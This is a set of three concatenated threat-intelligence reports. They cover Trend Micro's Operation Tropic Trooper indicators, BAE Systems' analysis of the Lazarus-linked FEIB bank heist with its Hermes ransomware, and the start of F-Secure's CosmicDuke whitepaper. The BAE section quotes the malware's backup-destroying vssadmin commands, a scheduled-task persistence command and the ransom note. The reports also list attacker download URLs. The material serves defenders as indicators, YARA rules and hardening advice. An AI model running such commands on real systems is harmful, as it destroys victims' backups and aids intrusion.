SHA-1 Hash Campaign ID Hard- Coded into Malware 17ee08b92aeefb8d3d73a02beb03e634b453b5fe PH4.0 Q20121012 3a8bed630679a30c8f945a7f9fe9eef18dd18ef8 PH4.0 Q20131218 3ff3519749764f64f5f208347f39bd77f7e2fa92 PH4.0 Q20130527 47747dccd1fc57a6456cf2a06d654966193545e5 PH4.0 Q20120730 542ca28d4154e4e4382f9dfe4e0C37983046e93d PH4.0 Q20131218 56680180af5a792dca8e6112c57810b5e06bca1b PH4.0 Q20120730 593ab027f90d8651e685581b8f09d87a2c95f244 PH4.0 Q20140723 5c5a4ceea45c3f0e67085b9d323da13eedcf6e1b PH4.0 Q20121012 6099001d54d39bcdd7c874672e8b28789e79721f PH4.0 Q20121012 7d5fd316f12ff39e5a9b43dabd66eccdcdb164e7 PH4.0 Q20141104 Operation Tropic Trooper Research Paper 13  Page  2015 Trend Micro Incorporated SHA-1 Hash Campaign ID Hard- Coded into Malware 973e522edeb08bea948098ce7c8b83866857de9c PH4.0 Q20130527 aef101fb24bd39e3cc14c26796c0336f2cb1d540 PH4.0 Q20131218 b1fdb46cbe73cc14f784bebac47e33606b259967 PH4.0 Q20121012 b767e1325bf103e672183e9487093ac068b75bc8 PH4.0 Q20140723 ba71031ec0dccf09fbc48af61a22e5faa6b055a4 PH4.0 Q20140910 bb8fddcd993a3ca94c6dd583f36df76bb5227ca5 PH4.0 Q20130527 c4ae20ef0a90f095a88a9ea9920e97733a4d5626 PH4.0 Q20141104 d50c657ff3068bd03ef74cfa5a289bbda87f33ef PH4.0 Q20121012 f8ac7ccf99485f485a435e05420bf3c103a3a549 PH4.0 Q20131218 14  Page  2015 Trend Micro Incorporated Defending Against Operation Tropic Trooper Threat Intelligence Gathering Network and system administrators can protect against Operation Tropic Trooper by blocking user access to related CC servers.
They should also keep an eye out for related strings as well as services and their corresponding paths.
Download Links TROJ_YAHOYAH downloads the following image files: 113.10.183.104/imgs/phh121018.jpg 113.10.221.89/images/kong.jpg 113.10.221.89/images/phonedpp.jpg 113.10.221.89/Pictures/dzh_0925.jpg 113.10.221.89/underwater.jpg 173.252.220.169/underwater.jpg 198.211.3.83/images/ph06.jpg 202.153.193.73/images/kong.jpg 202.153.193.73/images/phonedpp.jpg 208.187.167.126/images/dfsy.jpg 208.187.167.126:88/images/dmjs.jpg 208.187.167.126/images/phzy.jpg 50.117.38.164/Pictures/dzh_0925.jpg 61.218.145.179/monitor/images/ Smartxy130619.gif 61.221.169.31/images/kongj.jpg 61.221.169.31/images/phonedpp.jpg 61.222.31.83/monitor/images/Smartxy130619.
gif 69.221.169.31/underwater.jpg Operation Tropic Trooper Research Paper 15  Page  2015 Trend Micro Incorporated air88.ddns.us/images/af130218.jpg air88.ddns.us/js/af130901.jpg air88.ns01.us:53/js/af130901.jpg air88.ns01.us/images/af130218.jpg air88.ns01.us:53/js/af130901.jpg air99.ns01.us/js/af130901.jpg info.acmetoy.com/imgs/phh121018.jpg msc.ddns.us:443/images/ph06.jpg nevermore.onmypc.org/images/ph06.jpg ph11.dns1.us:53/images/phzy.jpg ph11.dns1.us/images/dfsy.jpg ph11.dns1.us/images/dmjs.jpg ph11.ns01.us:443/images/phzy.jpg ph11.ns01.us:5050/images/dmjs.jpg ph11.ns01.us/images/dfsy.jpg ware.compress.to/imgs/phh121018.jpg www.amberisic611.4dq.com/monitor/ images/Smartzh140222.gif www.bannered.4dq.com/monitor/images/ Smartzh131225.gif www.bannered.4dq.com/monitor/images/ Smartzh140222.gif www.cham.com.tw/images/dzh_0925.jpg www.forensic611.3-a.net/monitor/images/ Smartzh131225.gif www.forensic611.3-a.net/monitor/images/ Smartxy130619.gif www.forensic.zyns.com/monitor/images/ Smartzh131225.gif www.metacu.ygto.com/monitor/images/ Smartzh140222.gif Strings TROJ_YAHOYAH looks for the following strings to continue performing its malicious routines: EHAGBPSL MDDEFGEGETGIZ Services Network and system administrators can also look out for the following services, which are related to TROJ_ YAHAMAM: ServiceName: INCS DisplayName: IPSEC Network Connections Services ImagePath: SystemRoot\System32\ svchost.exe -k incsvc ServiceName: usb30 DisplayName: usb30 ImagePath: SystemRoot\\System32\ DRIVERS\usb30.sys Solution Use We also recommend a Custom Defense strategy that uses a comprehensive DetectAnalyze Respond life cycle to address threats particular to an organization.
This can provide in-depth threat profile information as well as advanced threat detection at the network level to discover malicious content (malware), communication, and attacker activity that are not typically visible to traditional security solutions.
Operation Tropic Trooper Research Paper 16  Page  2015 Trend Micro Incorporated The following table shows how a custom defense solution such as Trend Micro Deep Discovery can aid in detecting the components of Operation Tropic Trooper.
Attack Component Deep Discovery Component Description Spear-phishing emails Email Inspector Detects spear-phishing emails used to infiltrate, establish a foothold in, and launch targeted attacks against targets has email-inspection capabilities that detect malicious content, attachments, and URLs that pass unnoticed through standard email security solutions Malicious image files Analyzer Detects even previously unknown threats by analyzing a broad range of file types, sizes, and sources using customizable sandbox environments that attackers design and build to match organizations desktop and device platforms Malware BKDR_POISON.TUFN BKDR_YAHAMAM RTKT_HIDEPORT.ZTCA-XO TROJ_YAHOYAH Analyzer Detects even previously unknown threats by analyzing a broad range of file types, sizes, and sources using customizable sandbox environments that attackers design and build to match organizations desktop and device platforms Inspector Identifies suspicious activities anywhere on networks, including those related to lateral movement and CC also detects traffic generated by malware-download-related behaviors via HTTP GET requests CONCLUSION Operation Tropic Trooper is not highly sophisticated.
But the fact that it has attained some degree of success and has managed to infiltrate crucial organizations in both Taiwan and the Philippines shows the urgent need for targeted entities to rectify their shortcomings in terms of security.
As with other targeted attacks, Operation Tropic Trooper brings great risks, especially since its targets include government institutions and military agencies.
Although we were not able to collect enough information to determine the identities and motivations of the actors behind Operation Tropic Trooper, we were able to gather enough intelligence to help potential victims defend against the campaign.
Knowing that attackers are still using old techniques and exploiting known vulnerabilities will make it easier for the targeted organizations to pinpoint and fix security gaps in their networks.
Building threat intelligence is crucial in the fight against targeted attacks.
Identifying the tools, tactics, and procedures (TTPs) that threat actors use based on external reports and internal historical and current monitoring can help create a strong database of indicators of compromise (IoCs) that can serve as basis for action.
Using the right tools for advanced threat protection should also be part of an expanded security monitoring strategy.
This includes establishing and empowering incident response teams and training employees, partners, and vendors on social engineering and computer security.
[
14] APPENDIX Malicious Files Filename SHA-1 Hash Trend Micro Detection Name credentials.exe 17ee08b92aeefb8d3d73a02beb03e634b453b5fe 25c2540125a4f6db5bd9e71b9130ba19aed4af2c 3a8bed630679a30c8f945a7f9fe9eef18dd18ef8 3ff3519749764f64f5f208347f39bd77f7e2fa92 43f565273e9b2bcfa9640c41ebb591f5dccca23e 47747dccd1fc57a6456cf2a06d654966193545e5 542ca28d4154e4e4382f9dfe4e0c37983046e93d 56680180af5a792dca8e6112c57810b5e06bca1b 5c5a4ceea45c3f0e67085b9d323da13eedcf6e1b 6099001d54d39bcdd7c874672e8b28789e79721f 77eaac29dc3f46fdd4782b3a633a9c4b35fbdf20 7d5fd316f12ff39e5a9b43dabd66eccdcdb164e7 973e522edeb08bea948098ce7c8b83866857de9c a31d398abf230f18bee6487732ad477e98a4f784 a7713afd111b40da066449cc4450338316e51462 aef101fb24bd39e3cc14c26796c0336f2cb1d540 b1fdb46cbe73cc14f784bebac47e33606b259967 ba71031ec0dccf09fbc48af61a22e5faa6b055a4 bb8fddcd993a3ca94c6dd583f36df76bb5227ca5 c4ae20ef0a90f095a88a9ea9920e97733a4d5626 d50c657ff3068bd03ef74cfa5a289bbda87f33ef dd011e35df5b529f4a92d480428c63faa8a6da3f f8ac7ccf99485f485a435e05420bf3c103a3a549 TROJ_YAHOYAH.A (Image).jpg 0360098a17c5c68004350f3eb34ab6c2b5b7b6f6 2f853796b9598a85ce90c499f4e4e194b1348e0c 5adcea95439abf2c2c335af187dbeb92cb5587c0 70b0dafe10f2399bb3ae767be376b6f5cd68db19 84842226e9b626b2b4fca325fb1d13058aabf1be a149a79149ab080004adee3051bf0fd874177e97 BKDR_YAHAMAM.A mfc41.dll/rpcrt32.dll 0f7f277c57a7656e116894bb3460a15669bffaa3 49f4db863e4ac5b2c55e1bc7540ee865f5126dba 52084036ed353e24423e0bd1f10ea741096e8fbd 7835e3ca339626f87738644092bdf91a8a15eaac aa7e591951c085e0ab50748e6e0d96be99ad3f1a ac1bfb13e8d79a2cbd33cf3e4ef94a6f0c32abfc afe298099de7af1c43c97dce3e649f0c83164707 e771cff898649a5a00b4421db186859b1b04cac9 TROJ_YAHAMAM.A Filename SHA-1 Hash Trend Micro Detection Name (Exploit).doc 159a91f9c9a83493c03f83c22f478019b7f6e8ca 2665e536de618760cfe4b57c8f679d95fbb3da0b 2bd3f8356d4a3415e07311ffdc2d4834c0141029 305dcb0e9257875d0699567d7d10e69e6014eed1 312cc84043490b7a3b54fecff977cab75785f0c0 3631faf525863d8bd24e571e04b41bdced047734 4236be3aa2abc45e49a27d9bf87b6e5003d805c5 7676bd47deaf69a8a3a17a3f9e261b7aca1dac24 7b48460b5f6f8bc68fedb78a07f7884f57c66b57 8136ce73e502882fa187f7b53b549376bfb52ba2 a5ce827db51b204af7fef1a5b12b10a2566430bc TROJ_MDROPPER.RDY REFERENCES [1] Nex.
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Phone: 1.817.569.8900 Created by: The Global Technical Support  RD Center of TREND MICRO Introduction Targets Campaign Components Point of Entry Initial Payload: TROJ_YAHOYAH Installation Routine Download Routine Maintaining Persistence Backdoor Payload: BKDR_YAHAMAM Command-and-Control Communication Lateral Movement Possible Connections Defending Against Operation Tropic Trooper Threat Intelligence Gathering Download Links Strings Services Solution Use Conclusion Appendix Malicious Files References
Taiwan Heist: Lazarus Tools and Ransomware baesystemsai.blogspot.kr /2017/10/taiwan-heist-lazarus-tools.html Written by Sergei Shevchenko, Hirman Muhammad bin Abu Bakar, and James Wong BACKGROUND Reports emerged just over a week ago of a new cyber-enabled bank heist in Asia.
Attackers targeting Far Eastern International Bank (FEIB), a commercial firm in Taiwan, moved funds from its accounts to multiple overseas beneficiaries.
In a story which reminds us of the Bangladesh Bank case  the culprits had compromised the banks system connected to the SWIFT network and used this to perform the transfers.
In recent days, various malware samples have been uploaded to malware repositories which appear to originate from the intrusion.
These include both known Lazarus group tools, as well as a rare ransomware variant called Hermes which may have been used as a distraction or cover-up for the security team whilst the heist was occurring.
The timeline below provides an overview of the key events: 01 October 2017 Malware compiled containing admin credentials for the FEIB network.
03 October 2017 Transfers using MT103 messages were sent from FEIB to Cambodia, the US and Sri Lanka.
Messages to cover the funds for the payments were incorrectly created and sent.
03 October 2017 Breach discovered and ransomware uploaded to online malware repository site.
04 October 2017 Individual in Sri Lanka cashes out a reported Rs30m (195,000).
06 October 2017 Individual returns to collect more cash from account, arrested whilst doing so.
06 October 2017 Press become aware of the incident.
12 October 2017 Samples uploaded which include known Lazarus malware.
Little information is available at present about when or how the attackers compromised the bank, but it is likely more details will emerge in the coming weeks.
This blogpost seeks to summarise what is in the public domain at the moment, as well as analyse the samples uploaded to malware repositories.
ANALYSIS Several files have been uploaded to malware databases which appear to be related to this attack, including an archive titled 1/10 https://baesystemsai.blogspot.kr/2017/10/taiwan-heist-lazarus-tools.html https://2.bp.blogspot.com/-rgdPRGi8Isc/WeHCdPHWgpI/AAAAAAAACWg/ed6S2K_Y5j0YNwNn8a_L8WAQtH9hYdK-QCLcBGAs/s1600/pix.png https://3.bp.blogspot.com/-SW7FluUVC44/WeHZMvy43hI/AAAAAAAACW8/XUlMlsMroLk1paYs9Niex6qVW0M4ezMyACLcBGAs/s1600/bmp.png FEIB_Samples submitted from Taiwan on 12th Oct 2017.
These and other samples are listed below: MD5 Filenames Submitted From First Seen Compile Time 1 9563e2f443c3b4e1b00f25be0a30d56e FEIB_Samples_pwd(Virus).zi_ TW 2017- 10-12 02:50:16 N/A 2 d08f1211fe0138134e822e31a47ec5d4 bitsran.exe TW 2017- 10-03 01:01:31 2017- 10-01 15:37:31 3 b27881f59c8d8cc529fa80a58709db36 RSW7B37.tmp - 2017- 10-03 01:01:37 2017- 10-01 11:34:07 4 3c9e71400b72cc0213c9c3e4ab4df9df msmpeng.exe US 2017- 10-07 08:58:00 2017- 02-20 11:09:30 5 0edbad9e6041d43f97c7369439a40138 FileTokenBroker.dll TW 2017- 10-12 02:50:15 2017- 01-05 01:11:33 6 97aaf130cfa251e5207ea74b2558293d splwow32.exe TW 2017- 10-12 02:50:15 2017- 02-20 11:09:30 7 62217af0299d6e241778adb849fd2823 N/A GB 2017- 10-08 03:32:47 2017- 09-21 09:27:43 8 0dd7da89b7d1fe97e669f8b4156067c8 N/A MY 2017- 03-14 02:13:01 2017- 03-06 17:32:58 9 61075faba222f97d3367866793f0907b N/A MY 2017- 02-16 03:25:00 2017- 02-10 15:03:30 File 1 is the ZIP file containing samples 2-6 inside.
Samples 2-4 were also separately uploaded by users in Taiwan and the US on the dates given above.
Samples 7-9 are older versions of the Hermes ransomware.
Malware Analysis  Sample 2 Bitsran loader / spreader Sample 2 is designed to run and spread a malicious payload on the victims network.
On execution, the malware places a copy of itself into the location: C:\Windows\Temp\bitsran.exe Next, the file establishes a persistence mechanism with the registry key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2/10 It sets the value of BITSRAN to point to the executable in the Temp location above.
The malware then enumerates all processes, searching for specific anti-virus processes and attempts to kill these using the command line tool taskkill.
Process Name Process Description tmbmsrv.exe Trend Micro Unauthorized Change Prevention Service tmccsf.exe Trend Micro OfficeScan Common Client Solution Framework cntaosmgr.exe Trend Micro OfficeScan Add-on Service Client Management Service ntrtscan.exe Trend Micro OfficeScan NT RealTime Scan pccntmon.exe Trend Micro OfficeScan Antivirus real-time scan monitor tmlisten.exe Trend Micro OfficeScan NT Listener tmpfw.exe Trend Micro OfficeScan NT Firewall Next, the process attempts to find an embedded IMAGE resource with offset 110.
If successful, this file is loaded into memory.
When manually extracting this file, it can be seen to represent a pixelated bitmap (BMP) file.
However, further investigation reveals that the file is what is known as a Polyglot file, whereby a file is contained within another file.
Using a HEX viewer, it is possible to see that this file also contains a ZIP file (beginning at the PK header), with the pixelated image above referencing the bytes of the file to be RGB values.
3/10 The contents of this resource is decompressed from offset 54, with the last 4 bytes of the file specifying the ZIPs file size in bytes.
When successfully decrypted, the file is saved into the same directory as the initial executable.
This takes the filename RSWXXXX.tmp, where XXXX is randomly generated through the GetTempFileName function.
Once written to disk, this process is created through the CreateProcess function.
Sample 3 (RSW7B37.tmp) is an example of this file.
Whilst this additional payload is executing, the initial malware attempts to copy itself to other devices on the network.
Two user accounts are hardcoded into the malware, and are used to establish connections to the C SMB shares on Windows devices.
These are the accounts: Account Name Account Password FEIB\SPUSER14 EDREMOVED FEIB\scomadmin itREMOVED Both accounts clearly relate to FEIB, though we couldnt confirm whether the credentials are valid or not.
The SPUSER14 may be a Sharepoint user account whilst scomadmin likely corresponds to System Center Operations Manager admin an account for managing machines in a data centre.
Instead of enumerating all devices on the network, the malware iterates through a hardcoded list of 5357 IP addresses, in the ranges: 10.49.
10.50.
10.51.
10.59.
It is assumed that previous reconnaissance was conducted by the actors on the internal network to identify active and responding devices, as well as capturing admin credentials for the network.
If a device successfully responds to a SMB packet on port 445, the malware copies itself to the C network share using the provided credentials, writing the file to the location: C:\Windows\Temp\bitsran.exe If successful, a further command is executed using the same credentials, to create a scheduled task on the remote device with the name BITSRAN.
The full command executed is: cmd.exe /c schtasks /create /tn BITSRAN /tr /s /u /p /st 00:00 /et 23:59 /sc minute /mo 1 /ru system /f Malware Analysis  Sample 3, Dropped file / Hermes Ransomware The dropped file is a variant of the Hermes ransomware.
The ransomware calls GetSystemDefaultLangID() to obtain language identifier for the system locale.
It contains a list of three system language codes: 0x0419 (Russian), 0x0422 (Ukrainian), and 0x0423 (Belarusian).
However, it only checks against the last two, and, if matching, the malware quits.
Whether this is a false-flag or not is unknown.
4/10 The ransomware deletes the Volume Shadow Copies (a type of backup on Windows), using command: vssadmin Delete Shadows /all /quiet Following that, it deletes all VSS (Volume Shadow Copy Service) backup files (which include System Restore files) and orphaned shadows, by running commands below for the drives from C:, D:, E:, F:, G:, and H: vssadmin resize shadowstorage /forDRIVE /onDRIVE /maxsize401MB vssadmin resize shadowstorage /forDRIVE /onDRIVE /maxsizeunbounded The trick above is called pulling the carpet as it forces Windows to voluntarily dump all shadows due to lack of space.
The ransomware then recursively deletes all backup files from the drives C:, D:, E:, F:, G:, and H:, having the following extensions: .VHD .bac .bak .wbcat .bkf Backup.
backup.
.set .win .dsk Using Windows CryptoAPI platform, the malware creates an exchange key pair, and then exports the 2,048-bit public RSA key into an external file called PUBLIC.
The ransomware then enumerates both local and network resources, and encrypts files using 2,048-bit RSA algorithm.
Each encrypted directory will have a ransom note left in it: HERMES 2.1 RANSOMWARE radical edition All your important files are encrypted Your files has been encrypted using RSA2048 algorithm with unique public-key stored on your PC.
There is only one way to get your files back: contact with us, pay, and get decryptor software.
You have UNIQUE_ID_DO_NOT_REMOVE file on your desktop also it duplicated in some folders, its your unique idkey, attach it to letter when contact with us.
Also you can decrypt 3 files for test.
We accept Bitcoin, you can find exchangers on https://www.bitcoin.com/buy-bitcoin and others.
Contact information: BM-2cVcZL1xfve1yGGKwEBgG1ge6xJ5PYGfGwbitmessage.ch reserve: BM-2cT4U1vBdjfqKDeWMEXgCWs9SfnMK1GLTFbitmessage.ch Malware Analysis  Samples 4 and 6, Lazarus malware 5/10 http://backupchain.com/i/how-to-delete-all-vss-shadows-and-orphaned-shadows Sample 4 (msmpeng.exe) is packed with Themida to hamper analysis under a debugger, a monitoring application, or a virtual machine.
Once fully unpacked in memory, it appears to be an x86 variant of the fdsvc.dll backdoor described in our February blogpost Lazarus False Flag Malware.
This malware was discovered on networks in Poland and Mexico, following a series of watering-hole attacks.
Just like before, the backdoor uses several transliterated Russian words to either indicate the state of its communication or issue backdoor commands: State/Command Translation from Russian Meaning Nachalo beginning start communication session ustanavlivat to set handshake state poluchit to receive receive data pereslat to send send data derzhat to maintain maintain communication session vykhodit to exit exit communication session kliyent2podklyuchit client to connect client is ready to connect Sample 6 (splwow32.exe) is the same backdoor, only its not packed.
Both sample 4 and 6 have the same time stamp: 20 February 2017, 11:09:30.
It appears that sample 6 was actually obtained by packing sample 4 with Themida (potentially, to avoid detection), as code/data found in both samples is identical.
The backdoor expects a command line parameter that specifies remote CC address and port number.
If it is executed with no command-line parameters, it quits.
The specified command-line parameter is decrypted, using some basic character manipulations and applying XOR with 2 keys: 0x517A4563 (QzEc) 0x77506F66 (wPof) The decrypted string is expected to delimit CC address and port number with the : character.
Multiple CCs can be delimited with the  character.
If the backdoor finds no valid pair of CC address and port number delimited with the : character, it quits.
Otherwise, it starts polling the remote CC for a remote task to execute.
Each polling attempt starts from a state Nachalo (start communication session), with a 3 second delay between each attempt to connect to the CC.
Each connection attempt starts from a state called kliyent2podklyuchit (client is ready to connect).
If the backdoor fails to connect five times, or if it connects, but the task it receives is vykhodit (exit communication session), then the backdoor will quit.
Otherwise, it will execute the remote command, effectively giving the attackers full control over the compromised system.
After the execution, the polling cycle continues.
6/10 http://baesystemsai.blogspot.com/2017/02/lazarus-false-flag-malware.html Malware Analysis  Sample 5 FileTokenBroker.dll is a DLL, installed as a service under the svchost.exe (netsvcs) service host.
Once loaded as a service DLL, the DLLs export ServiceMain() is called.
The DLL then constructs a file name that consists of the host process name, formatted as: SYSTEM\en-US\[HOST_PROCESS_NAME_NO_EXTENSION].dll.mui For example, if the DLL is loaded into the address space of svchost.exe, the constructed filename will be: c:\windows\system32\en-US\svchost.dll.mui Another possible name is: c:\windows\system32\en-US\netsvc.dll.mui The DLL then reads this file, and decrypts it with a running XOR mask.
Once decrypted, it further reads an RC4 key from it, and decrypts it with the RC4 algorithm.
The decrypted file will contain a hash, so the DLL checks the hash as well to make sure the integrity of the decrypted file is intact.
A fully decrypted file is then parsed as a PE file, and loaded as a DLL.
Hence, FileTokenBroker.dll decrypts and executes a payload that is created by an external dropper or is implanted by the attackers.
The SYSTEM\en-US directory will have multiple system files in it, so it is chosen to blend the encrypted payload file with the other legitimate system files.
Unlike other .dll.mui files in SYSTEM\en-US directory that are MZ files, the encrypted payload is not an MZ file.
Malware Analysis  Samples 7, 8, and 9, Further Hermes malware Samples 7, 8, and 9 relate to previous instances of Hermes ransomware.
Malware of this category is typically widespread, but in the case of Hermes it seems relatively rare.
This is suspicious in itself and reminds us of WannaCry  another rarely observed ransomware.
Further analysis is on-going to understand the history of this malware variant.
Transactions Through working with trusted partners, we have been able to get insight into the transactions made as part of the heist.
The transactions consisted of two common SWIFT message types, MT103 and MT202COV.
MT103 messages are used for normal, cross border, cash transfers which would typically request funds be transferred into a personal or company beneficiary account.
MT103 messages can be used on their own, or can be coupled with a cover message MT202COV is used to order the movement of funds to the beneficiary institution via another financial institution/Intermediary Bank.
In this heist the attackers created MT103 messages to transfer funds to Cambodia, the US, and Sri Lanka.
In addition to the 7/10 MT103 messages, the attackers created MT202COV messages the content of these messages was syntactically correct but the values in specific fields were wrong.
As a result, they were received by the intermediary bank but had no further influence on the funds transferred to the beneficiary accounts.
Reports of 60M being stolen appear to be due to confusion over these latter messages, and the amounts actually stolen were considerably lower.
Most of these appear to have been recovered.
Further details of the destination accounts within Sri Lanka have emerged in open source.
The money had been transferred to the Bank of Ceylon in Sri Lanka on 3 October.
The following day, an individual in Sri Lanka allegedly withdrew RS 30m (about 195K).
Two days after that, the same individual returned to withdraw a further RS 8m, but was arrested when he arrived at the bank.
Sri Lankan police have since arrested another individual and a further suspect is wanted by Sri Lankan law enforcement.
CONCLUSIONS It has been over a year since the last activity on a payments system from the attackers behind the infamous Bangladesh Bank heist.
Lazarus, the prime suspects, have been busy nonetheless  targeting Bitcoin in various ways, as well as other intrusions into banks such as in Poland and Mexico (albeit without evidence of targeting payment systems).
In one of these cases we and other researchers were able to observe infrastructure in North Korea controlling the malware  further clues as to the origins of these attackers.
The attack this month on Taiwanese Far Eastern International Bank has some of the hallmarks of the Lazarus group: Destination beneficiary accounts in Sri Lanka and Cambodia  both countries have been used previously as destinations for Lazarus bank heist activity Use of malware previously seen in Lazarus Poland and Mexico bank attacks.
Where these files were found and the context of their use needs to be confirmed, but could provide a crucial attributive link Use of unusual ransomware, potentially as a distraction.
Despite their continued success in getting onto payment systems in banks, the Lazarus group still struggle getting the cash in the end, with payments being reversed soon after the attacks are uncovered.
The group may be trying new tricks to disrupt victims and delay their ability to respond  such as different message formats, and the deployment of ransomware across the victims network as a smokescreen for their other activity.
Its likely theyll continue their heist attempts against banks in the coming months and we expect they will evolve their modus operandi to incorporate new ways of disrupting victims (and possibly the wider community) from responding.
More work needs to be done to identify how FEIB was attacked, whether further custom tools were involved, confirm the context of the Lazarus malware in the intrusion, and where else this Hermes ransomware has been seen.
Assuming Lazarus are indeed back to targeting bank payment systems, this will serve to emphasize the importance of network hardening and controls frameworks being pushed by the industry at present.
RECOMMENDATIONS Some general network hardening and monitoring lessons can be taken from this: Firewall off SMB (445) for internal computers.
If access to this service is required, it should be permitted only for those IPs that require access.
i.e.
445 is required for SCOM to push an agent install, therefore 445 should only be allowed from that source server 8/10 https://visitsrilanka.com/news/hack-on-taiwanese-bank-sri-lankan-suspect-arrested-another-in-hiding-newsfirst/ https://securelist.com/lazarus-under-the-hood/77908/ https://www.swift.com/myswift/customer-security-programme-csp Application blacklisting should be implemented to prevent the use of tools such as vssadmin.exe, cmd.exe, powershell.exe and similar File Integrity Monitoring should be considered and configured to monitor file creations in trusted locations such as the System32 directory.
This can also be used to monitor deletes, with an alert configured to fire on excessive deletes in a row Windows Security Event logs should be monitored to capture Scheduled Task creation events  Event ID 4698 Registry Auditing should be enabled and monitored to capture any additions to HKLM\Software\Microsoft\Windows\CurrentVersion\Run Excessive use of known administrative privilege accounts should be alerted on  specifically in a one to many behavioural configuration.
i.e.
is one specific IP connecting to a large number of devices using the same credentials in a short period of time Ensure privileged accounts have a complex password that does not include any part of the username, or application it relates to.
Additional longer term recommendations for financial institutions: Practice incident response scenarios which include complex attacks combining covert payment fraud and overt network disruption through ransomware, DDoS, network downtime, etc.
Ensure that you are progressing towards being able to attest against the SWIFT 27 controls.
For more information see: http://www.baesystems.com/en/cybersecurity/swift-customer-security-programme APPENDIX A  INDICATORS OF ATTACK MD5 Hashes d08f1211fe0138134e822e31a47ec5d4 b27881f59c8d8cc529fa80a58709db36 3c9e71400b72cc0213c9c3e4ab4df9df 0edbad9e6041d43f97c7369439a40138 97aaf130cfa251e5207ea74b2558293d 62217af0299d6e241778adb849fd2823 0dd7da89b7d1fe97e669f8b4156067c8 61075faba222f97d3367866793f0907b File / Process name bitsran.exe APPENDIX B  YARA RULE 9/10 rule Hermes2_1 meta: date  2017/10/11 author  BAE hash  b27881f59c8d8cc529fa80a58709db36 strings: magic   4D 5A //in both version 2.1 and sample in Feb s1  SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\\ s2  0419 s3  0422 s4  0423 //in version 2.1 only S1  HERMES S2  vssadminn S3  finish work S4  testlib.dll S5  shadowstorageiet //maybe unique in the file u1  ALKnvfoi4tbmiom3t40iomfr0i3t4jmvri3tb4mvi3btv3rgt4t777 u2  HERMES 2.1 TEST BUILD, press ok u3  hnKwtMcOadHwnXutKHqPvpgfysFXfAFTcaDHNdCnktA //RSA Key part condition: magic at 0 and all of (s) and 3 of (S) and 1 of (u)  10/10 Taiwan Heist: Lazarus Tools and Ransomware BACKGROUND ANALYSIS Malware Analysis  Sample 2 Bitsran loader / spreader Malware Analysis  Sample 3, Dropped file / Hermes Ransomware Malware Analysis  Samples 4 and 6, Lazarus malware Malware Analysis  Sample 5 Malware Analysis  Samples 7, 8, and 9, Further Hermes malware Transactions CONCLUSIONS RECOMMENDATIONS APPENDIX A  INDICATORS OF ATTACK APPENDIX B  YARA RULE
COSMICDUKE Cosmu with a twist of MiniDuke F-SECURE LABS SECURITY RESPONSE Malware Analysis Whitepaper In this document we report on our analysis of CosmicDuke - the first malware seen to include code from both the notorious MiniDuke APT trojan and another longstanding threat, the information- stealing Cosmu family.
When active on an infected machine, CosmicDuke will search for and harvest login details from a range of programs and forward the data to remote servers, some of which were active at the time of writing.
CONTENTS INTRODUCTION 2 Scope 2 Target 2 Arrival 3 Infection 3 Data theft   3 Data transmission 3 TECHNICAL DETAILS 4 Dropper: RLO 4 Dropper: Decoys 5 Exploit 6 Loader: MiniDuke 3rd Stage 6 Main Component: Info-stealer 7 RC4 Encryption 9 Samples Comparison 9 APPENDIX A  SAMPLES 13 APPENDIX B  SERVERS 15 TLP: WHITE 2 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE browsing programs.
It also collects information about the files on the system, and has the capability to export cryptographic certificates and the associated private keys.
Once the information has been collected, it is sent out to remote servers via FTP.
In addition to stealing information from the system, Cosmu allows the attacker to download and execute other malware on the system.
F-Secure has detections for all the different malicious components used by the Cosmu variants described in this report.
SCOPE We have seen dozens of Cosmu samples that share code with MiniDuke.
Rather than cover the entire spectrum of samples, the scope of this analysis was intentionally limited to highlighting the most interesting of the recent samples.
This includes examining the attack files used to infect targets, the remote servers storing data collected from the victims and the differences between the MiniDuke loaders and Cosmu info-stealers used in the samples.
TARGET This analysis is based on examination of files we gathered through our sample collection systems.
Based on the nature of the filenames and decoy documents used, and the fact that the MiniDuke loader is known to be used as a part of targeted attacks, we suspect that CosmicDuke may also be used in such operations.
At the time of writing, we have not identified any victims ourselves, nor are we aware of any public reports confirming this scenario.
INTRODUCTION In early 2013, the MiniDuke malware was discovered in use in a series of attacks against NATO and European government agencies.
While investigating MiniDuke loaders in April 2014, we were surprised to notice that the malicious executable being decompressed and loaded into memory was very similar to the Cosmu family of information-stealers, which we saw as long ago as 2001.
Cosmu is the first malware family we have seen to share code with MiniDuke.
This analysis is focused on those Cosmu samples that share code with MiniDuke.
Some of these are older than the oldest publicly documented MiniDuke samples, implying that the shared code might have been originally used by Cosmu, not MiniDuke.
For convenience, we decided to name the samples showing this amalgamation of MiniDuke-derived loader and Cosmu-derived payload CosmicDuke.
The filenames and content used in CosmicDukes attack files to lure victims into opening them contain references to the countries of Ukraine, Poland, Turkey and Russia,either generally in use of language or included detail, or in allusions to events or institutions.
The filenames and content chosen seem to be tailored to their targets interests, though at the time of writing, we have no further information on the identity or location of these victims.
CosmicDuke infections start by tricking victims into opening either a PDF file that contains an exploit or a Windows executable whose filename is manipulated to make it look like a document or image file.
Once the victim opens the file, the malware gains persistence on the system and starts collecting information.
The data collection components include a keylogger, clipboard stealer, screenshotter, and password stealers for a variety of popular chat, email and web MiniDuke Loader Cosmu Info-stealer Exploit Dropper Decoy Attacker FIGURE 1: SIMPLIFIED OVERVIEW OF COSMICDUKES CHAIN OF ACTION 3 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE DATA THEFT CosmicDukes primary purpose is to steal information.
The different ways it collects information from the infected machine are as follows: y Keylogger y Taking screenshots y Stealing data from clipboard y Stealing files y Stealing PKI certificates and associated private keys y Stealing usernames and passwords from browsers, instant messengers and email clients y Stealing WLAN passwords y Stealing Windows password hashes DATA TRANSMISSION The information collected by the malware is automatically uploaded to remote servers via FTP.
Our analysis also reveals various details of the remote sites contacted by CosmicDuke, including the login credentials used and the FTP folder structure.
At the time of writing, most of these remote sites are live.
A list of the servers CosmicDuke malware connects to is on page 15.
ARRIVAL At this time, we have no information on how the CosmicDuke attack files are delivered to the victims, though based on the findings from the analysis, we can make an educated guess.
It is possible that the PDF documents containing exploits were emailed to the targeted users as file attachments.
Assuming that the email gateway used by the victims does not include an antivirus solution capable of identifying the exploit, such files would have little impediment to being spread by email.
It is however unlikely that the samples which camouflaged the executable files as image or document files would be distributed in the same way.
Regardless of any tricks played with the filenames, the files themselves are Windows executables, and many email solutions today prevent users from opening attached executable files.
INFECTION The attackers are using at least two different methods for infecting the systems: exploits and social engineering.
